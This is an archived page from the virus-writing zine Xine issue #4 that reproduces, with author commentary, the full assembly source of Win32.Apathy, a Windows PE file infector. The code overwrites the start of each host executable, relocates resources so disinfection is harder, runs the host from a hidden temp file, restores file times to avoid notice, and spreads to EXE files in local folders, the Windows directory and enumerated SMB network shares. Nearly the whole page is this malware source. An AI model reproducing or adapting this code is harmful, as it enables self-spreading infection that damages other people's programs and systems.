Copy Link
Add to Bookmark
Report

Xine - issue #4 - Phile 208

eZine's profile picture
Published in 
Xine
 · 7 months ago

 
/-----------------------------\
| Xine - issue #4 - Phile 208 |
\-----------------------------/

;
; - Win32.Apathy -
; -b0z0/iKX-
;
; This is a PE infector that works in 9x/NT systems and infected files in
; that enviroments will work correctly after infection (I'm not sure that
; there is a secret bu... feature that could make them not to work).
; While infecting Win32.Apathy will overwrite the original PE start with
; a copy of itself, thus avoiding entirely the API searching problem,
; saving the original piece of code at the end of the infected file. To
; maintain compatibility with NT and to make disinfection a little tricky
; the virus will also change the .rsrc RVA and consequently all the resource
; entryes to some standard position. So just copying the original piece of
; will result in damaging the executable. The original file will be
; reconstructed in a temporary file and executed there as a new process.
; Check code for other things about the infection process and such.
; Win32.Apathy will also try to spread through the network (microsoft
; network or SMB or how you wanna call it) by scanning some connected
; resources and trying to infect files over there.
;
; The virus has been quite tested under Win95/98/NT4
;
; Win32.Apathy born really a lot of time ago, I started coding this just
; after Xine#3 was out, but then the whole project (like all my other VX
; projects) was stopped until about december 1998 when I decided to finish
; at least something. The code tho is not optimized at all, could not be
; too clear in some parts, I just wanted to materialize a few ideas I had
; and I didn't really care too much to optimize or something this.
;
; The virus name is quite obvious, but:
; apathy: the state of having no wish to act and no enthusiasm
;
; Thanx to StarZero for cool hints and notes!
;
; For any kind of info or something contact me at cl0wn@geocities.com
;

.386
.model flat

; kernel32 ones we need
extrn SetFileAttributesA:PROC
extrn Sleep:PROC
extrn GetWindowsDirectoryA:PROC
extrn GetTickCount:PROC
extrn lstrcpy:PROC
extrn ExitProcess:PROC
extrn SetFileTime:PROC
extrn DeleteFileA:PROC
extrn GetTempPathA:PROC
extrn GetTempFileNameA:PROC
extrn CreateProcessA:PROC
extrn CopyFileA:PROC
extrn FindFirstFileA:PROC
extrn FindNextFileA:PROC
extrn GetCommandLineA:PROC
extrn CloseHandle:PROC
extrn ReadFile:PROC
extrn HeapAlloc:PROC
extrn GetProcessHeap:PROC
extrn CreateFileA:PROC
extrn CreateFileMappingA:PROC
extrn MapViewOfFile:PROC
extrn UnmapViewOfFile:PROC
extrn GetFileSize:PROC
extrn CreateMutexA:PROC
extrn GetLastError:PROC

; for network from mpr.dll
extrn WNetOpenEnumA:PROC
extrn WNetEnumResourceA:PROC

.data

vname db 0,'Win32.Apathy by '
author db '-b0z0/iKX-',0 ; used as mutex object name

fsearch:
f_attrib dd 00h
f_ctime dd 00h,00h
f_atime dd 00h,00h
f_wtime dd 00h,00h
f_size_hi dd 00h
f_size_lo dd 00h
f_reserved dd 00h,00h
f_name db 104h dup (?)
f_alt_name db 0eh dup (?)

msg db 'i am nobody except genetic runaround',0

ff_handle dd 00h
f_handle dd 00h

dotdot_mask db '..',0
exemask db '*.EXE',0

v_map_handle dd 00h
v_file_handle dd 00h

orig_virus_p dd 00h

pref db 'ikx',0 ; tmp file name prefix

path_position dd offset new_path

new_path db 112h dup (?) ; max_path + a bit more
tmp_name db 112h dup (?)

process_info dd 4 dup (?)

; STARTUPINFO structure for new process
startup_info dd 10h ; lenght of this structure
dd 00h,00h
title_startup dd 00h ; pointer to title for console progs
;

has_infected db 00h ; 00h no, 01h yes

virus_phase db 07h ; 07h infecting .
; 06h infecting windows directory
; 05h infecting network 1 try
; 04h infecting network 2 try
; 03h infecting ..
; 02h infecting network 3 try
; 01h infecting network 4 try

netspace equ 4000h ; 16kb as suggested. place for 200h
; entryes... way too much anyway

enum_handle dd 00h ; handle of Net enumeration
enum_count dd 1ffh ; how many got / how many to get
enum_size dd netspace ; size of memory avaiable for results

r_point dd 0h

; here begins the virus code
.code

; equs
exesize equ 1502h ; size of virus executable
pe_begin equ 100h ; where PE header begins in virus
file_align equ 200h ; file align value (= to linker one)
read_exe equ 4096d ; how much victim to read to check
marker equ '0z0b' ; infection marker
wait_time equ 2604d ; time between each search
sleep_time equ 7919d ; add sleep time after good infection
f_shit equ 2000h ; first gen dim
; the marker must be set at offset 58h of the PE once compiled

startcode:
call GetProcessHeap

push (exesize + read_exe + netspace)
push 8h ; zero memory
push eax
call HeapAlloc ; allocate some memory from our heap

mov dword ptr [orig_virus_p],eax

push offset new_path
push 112h
call GetTempPathA

push offset tmp_name ; create a temporary name
push large 0
push offset pref
push offset new_path
call GetTempFileNameA

call GetCommandLineA ; get our name

cmp byte ptr [eax],22h ; " this is strange, sometimes cmdline
jne not_thatshit ; is enclosed in "", so we must take
inc eax ; care if they are there
push eax
find_ending:
cmp byte ptr [eax],22h
je delete_ending_aswell
inc eax
jmp find_ending
delete_ending_aswell:
mov byte ptr [eax],20h
pop eax
not_thatshit:
push eax
mov dword ptr [title_startup],eax
search_end:
inc eax
cmp byte ptr [eax-1],'.' ; go to the extension
jne search_end
cmp byte ptr [eax+3],20h ; space
je found_end
cmp byte ptr [eax+3],00h ; end of string
jne search_end
found_end:
add eax,3 ; point on end of exe name
push eax

push eax ; copy possible command line options
push offset new_path ; to the buffer
call lstrcpy

pop eax
mov byte ptr [eax],0 ; put null to open/copy it

pop eax

push large 0
push offset tmp_name
push eax ; copy ourselves to another name
call CopyFileA
or eax,eax
jz exit_critical_temp

push 02h ; file attribute hidden
push offset tmp_name
call SetFileAttributesA

xor eax,eax
push eax
push large 80h
push large 3
push eax
push eax
push 0c0000000h ; readwrite
push offset tmp_name ; open the temporary file
call CreateFileA

inc eax ; check if opened ok
jz exit_critical_temp
dec eax

mov dword ptr [v_file_handle],eax

push eax

push large 0
push eax ; handle
call GetFileSize ; get size of file we are running from
xchg ecx,eax ; copied in a tmp file

pop eax

push ecx ; size

xor ecx,ecx
push ecx
push ecx ; entire file
push ecx
push large 04h
push ecx
push eax
call CreateFileMappingA
cdq
or eax,eax
jz exit_critical_temp ; eax map handle

push eax ; mapping handle

push edx
push edx
push edx
push large 02h
push eax
call MapViewOfFile

or eax,eax
pop ebx ; mapping handle
je exit_critical_temp

cld

mov esi,eax
mov edi,dword ptr [orig_virus_p]
mov ecx,exesize
mov edx,ecx
rep movsb

pop ecx ; size

cmp ecx,f_shit
jz first_generation

sub ecx,edx
sub ecx,edx
push ebx ; map handle
mov edi,esi
add esi,ecx
mov ecx,edx
sub edi,ecx
push edi ; to beginning of file mapping in mem
push edi
rep movsb ; restore original
pop edi

mov esi,edi ; now we must restore the resources

add edi,dword ptr [edi+3ch] ; on PE
mov eax,dword ptr [edi+8ch] ; resources lenght

or eax,eax
jz no_resourz

mov eax,dword ptr [edi+88h] ; resources RVA
add edi,0f8h+0ch ; to objects
srs_loo:
cmp eax,dword ptr [edi] ; is the resources one?
je got_srsr
add edi,28h ; lenght of an object
jmp srs_loo
got_srsr:
add esi,dword ptr [edi+08h] ; physical offset of resources
mov ebx,4000h ; fixed virus resources RVA
sub ebx,eax
call rsrs_change ; call changer

no_resourz: ; everything is ready again
call UnmapViewOfFile

call CloseHandle

push dword ptr [v_file_handle] ; close virus file
call CloseHandle

xor eax,eax

push offset process_info
push offset startup_info
push eax
push eax
push eax
push eax
push eax
push eax
push offset new_path ; to command line options
push offset tmp_name ; to file to execute
call CreateProcessA ; run host executable

first_generation:
push offset author ; name of the mutex object
push large 1
push large 0
call CreateMutexA ; create one

call GetLastError ; check if one with the same name
or eax,eax ; already exist. if so virus is already
jnz exit_critical_temp ; running as another process

mov eax,offset exemask

search_loop:
push offset fsearch
push eax
call FindFirstFileA ; search for some victims
cmp eax,-1
je end_file_search

mov dword ptr [ff_handle],eax

infect_file:
push offset f_name
push dword ptr [path_position] ; copy found file
call lstrcpy ; after directory

push 80h ; FILE_ATTRIBUTE_NORMAL
push offset new_path
call SetFileAttributesA ; delete attributes

or eax,eax
jz error_attributes

xor eax,eax

push eax
push large 80h
push large 3
push eax
push eax
push 0c0000000h ; readwrite
push offset new_path ; full file name to file to
call CreateFileA ; infect

inc eax
jz error_opening
dec eax

mov dword ptr [f_handle],eax

push eax

mov edx,dword ptr [orig_virus_p] ; virus heap
add edx,exesize ; read data is after original
push edx

push large 0
push offset f_size_hi ; some place to store nr of
push read_exe ; readed bytes
push edx
push eax
call ReadFile ; read header

pop edx
pop eax

cmp word ptr [edx],'ZM' ; exe?
jne not_to_infect

mov ecx,dword ptr [edx+3ch] ; pointer to PE header

cmp ecx,(read_exe - 4) ; is the PE header in readed
jae not_to_infect ; chunk of executable?

add edx,ecx

cmp dword ptr [edx],'EP'
jne not_to_infect

cmp dword ptr [edx+58h],marker ; already infected?
je not_to_infect

test dword ptr [edx+3ch],(file_align - 1)
jnz not_to_infect ; must have an align cmptible

mov ecx,dword ptr [f_size_lo] ; file size (assume <= 4gb)

cmp ecx,(10 * 1024) ; not too small files
jbe not_to_infect ; leave it

mov ebx,dword ptr [edx+8ch] ; resource size
or ebx,ebx
jz no_resp

mov ebx,dword ptr [edx+88h] ; pointer to resources

add edx,(0f8h + 0ch)
search_rsrcs:
cmp ebx,dword ptr [edx] ; is the resources one?
je got_rsrcs
add edx,28h ; lenght of an object
jmp search_rsrcs
got_rsrcs:
sub edx,0ch ; on beginning of this object

cmp dword ptr [edx+14h],exesize ; are resources after the virus
jbe not_to_infect ; size (this is won't be overw)

mov ebx,edx
no_resp:
mov dword ptr [r_point],ebx

add ecx,exesize ; will extend it by exesize

xor edx,edx

push edx
push ecx
push edx
push large 04h
push edx
push eax
call CreateFileMappingA
cdq
or eax,eax
jz not_to_infect

mov dword ptr [v_map_handle],eax

push edx
push edx
push edx
push large 02h
push eax
call MapViewOfFile
or eax,eax
jz close_map_exit

mov edi,eax

push edi
mov esi,edi
add edi,dword ptr [f_size_lo]
mov edx,edi
mov ecx,exesize ; save original code after the end
push ecx
rep movsb
pop ecx
pop edi

push edi
mov esi,dword ptr [orig_virus_p] ; on vir
rep movsb ; copy virus body
pop edi

push edi

mov esi,edx
mov edx,edi

add esi,dword ptr [esi+3ch] ; on PE

mov ecx,4000h ; image size of virus file w/o rsrcs
mov dword ptr [edi+pe_begin+50h],ecx ; correct image size

mov word ptr [edi+pe_begin+6],3h ; number of virus objects

mov eax,dword ptr [r_point] ; pointer to resources object

mov ebx,dword ptr [esi+8ch] ; resource size
mov dword ptr [edi+pe_begin+8ch],ebx
mov dword ptr [edi+pe_begin+88h],0h ; zero resurce RVA by default

or eax,eax ; resources length 0?
jz no_resources

mov ebx,dword ptr [esi+88h] ; resource RVA
sub ebx,ecx

mov dword ptr [edi+pe_begin+88h],ecx ; set resources pointer

inc word ptr [edi+pe_begin+6] ; number of objects

mov esi,eax ; on resources object

add edi,(pe_begin + 0f8h + (3*28h))
mov ecx,028h ; copy resources object
rep movsb

mov esi,edx ; on beginning of file

mov dword ptr [edi-28h+0ch],4000h
mov eax,dword ptr [edi-28h+08h] ; object virtual size
add eax,(1000h - 1)
and eax,0fffff000h
add dword ptr [edi - (0f8h + (4*28h)) + 50h],eax ; to image size

mov eax,dword ptr [edi-28h+14h] ; physical offset of resources
add esi,eax
call rsrs_change ; change those

no_resources:
call UnmapViewOfFile ; unmap view of file

inc byte ptr [has_infected] ; good infection, so a pause
; will occour
close_map_exit:
push dword ptr [v_map_handle]
call CloseHandle ; close mapping handle

mov eax,dword ptr [f_handle]
push eax

push offset f_wtime
push offset f_atime
push offset f_ctime
push eax
call SetFileTime ; restore original file time

pop eax

not_to_infect:
push eax ; file handle
call CloseHandle ; close infected file

error_opening:
push dword ptr [f_attrib] ; restore old attributes to file
push offset new_path
call SetFileAttributesA

error_attributes:
mov eax,wait_time ; so it won't work too much

dec byte ptr [has_infected]
jnz no_infection

add eax,sleep_time ; if a file was infected then make a
; longer pause
no_infection:
push eax
call Sleep ; pause until next one

mov byte ptr [has_infected],00h ; reset infection mark

push offset fsearch
push dword ptr [ff_handle]
call FindNextFileA
or eax,eax ; no more files?
jz end_file_search
jmp infect_file ; else infect

end_file_search:

call GetTickCount ; should we go deeper in dir
shr eax,1 ; from actual position?
jc next_phase

mov esi,dword ptr [path_position] ; search from last dir fwd
mov dword ptr [esi],' .*' ; to search dirs and such

push eax

push offset fsearch
push offset new_path
call FindFirstFileA
mov dword ptr [ff_handle],eax
cmp eax,-1
pop eax
je next_phase ; no dirs in here

check_dir:
test dword ptr [f_attrib],10h ; is a directory?
jz search_next_dir

cmp byte ptr [f_name],'.' ; not . or ..
je search_next_dir

shr eax,1 ; select randomly if walk into
jnc search_next_dir ; this or try another

mov eax,dword ptr [path_position] ; put after actual search path
mov esi,offset f_name ; point to directory name

jmp copy_from_eax
search_next_dir:
push eax
push offset fsearch
push dword ptr [ff_handle] ; search next
call FindNextFileA
or eax,eax ; no more directoryes?
pop eax
jnz check_dir

next_phase:
dec byte ptr [virus_phase]
mov al,byte ptr [virus_phase]

or al,al ; phases finished
jz farewell_and_goodnight

cmp al,03h ; search in ..
je search_dotdot

cmp al,06h ; windows directory phase
jne network_work

mov esi,offset new_path

push 104h ; buffer lenght
push esi ; search in windoze directory
call GetWindowsDirectoryA
jmp copy_and_gosearch

search_dotdot:
mov esi,offset dotdot_mask
jmp copy_and_gosearch

network_work:
xor ebx,ebx
find_resource:
push offset enum_handle
push ebx ; pointer to NETSOURCE structure to use
push large 3 ; CONNECTABLE | CONTAINER
push large 1 ; RESOURCETYPE_DISK
push large 2 ; RESOURCE_GLOBALNET
call WNetOpenEnumA
or eax,eax ; 0 = NO_ERROR
jnz next_phase ; on error just skip this phase

mov eax,dword ptr [orig_virus_p] ; pointer to heap
add eax,(exesize + read_exe) ; after other data

mov dword ptr [enum_count],1ffh ; get max entryes

push eax

push offset enum_size ; avaiable memory for results
push eax ; where to place results
push offset enum_count ; how many to enumerate
push dword ptr [enum_handle] ; handle of enumeration
call WNetEnumResourceA
pop ebx
or eax,eax ; 0 = NO_ERROR
jnz next_phase ; if some error skip

mov ecx,dword ptr [enum_count] ; number of entryes got

call GetTickCount ; random
xor edx,edx
div ecx

mov eax,20h ; lenght of one entry
mul edx ; select which one
add ebx,eax

test dword ptr [ebx+0ch],01h ; is an usable resource
jz find_resource
; if not should be a container
; (local or remote) so continue
; to next level

got_resource:
mov esi,dword ptr [ebx+14h] ; here it is

copy_and_gosearch:
mov eax,offset new_path
copy_from_eax:

push eax

push esi ; path to network or dir
push eax ; where to copy
call lstrcpy

pop eax
loop_searchzero:
cmp byte ptr [eax],00h
je got_null_termination ; find end
inc eax
jmp loop_searchzero
got_null_termination:
mov byte ptr [eax],'\' ; add \
inc eax

mov dword ptr [path_position],eax

push offset exemask ; and now copy the *.exe mask
push eax
call lstrcpy

mov eax,offset new_path
jmp search_loop

farewell_and_goodnight:

exit_critical_temp:

; before exiting delete some temp files (the still used ones will be deleted
; next time since are actually in use)

mov esi,offset tmp_name ; has temp path + last temp name
search_dottmp:
inc esi
cmp word ptr [esi],'i\' ; find beginning of name
jne search_dottmp
inc esi
inc esi
cmp word ptr [esi],'xk'
jne search_dottmp
got_end:
inc esi
inc esi
push esi
mov dword ptr [esi],'mt.*' ; set delete ikx*.tmp
mov word ptr [esi+4],'p' ; p + null termination

push offset fsearch
push offset tmp_name
call FindFirstFileA

pop edi ; after ikx in temp name
cmp eax,-1
je exit_deletion
delete_temps:
mov esi,(offset f_name + 3)
mov ecx,9h ; sometimes will be shorter but wc
push edi
rep movsb
pop edi

push eax ; preserve handle
push offset tmp_name
call DeleteFileA ; could fail if file is
pop eax ; used, but np

push eax
push offset fsearch
push eax
call FindNextFileA ; find next to delete
or eax,eax
pop eax
jnz delete_temps

exit_deletion:

exit:
push LARGE -1 ; that's all, will release also
call ExitProcess ; our mutex object

rsrs_change:
; EBX = value to substract to each resource element
; ESI = pointer to resources
xor edx,edx ; will keep number of data elements
push ebx
search_rsr:
add esi,10h
movzx ecx,word ptr [esi - 2] ; nr of named and integer
add cx,word ptr [esi - 4] ; entryes in this dir
adc ecx,0
na_nasl:
mov ebx,dword ptr [esi + 4]
test ebx,80000000h ; is a resource data entry?
jnz is_subdir
inc edx
is_subdir:
add esi,8 ; on next
loop na_nasl
cmp dword ptr [esi],00h ; finished ?
je search_rsr

pop ebx
mov ecx,edx
change_res:
sub dword ptr [esi],ebx ; sub requested value
add esi,10h
loop change_res ; change all entryes
ret

end startcode



← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT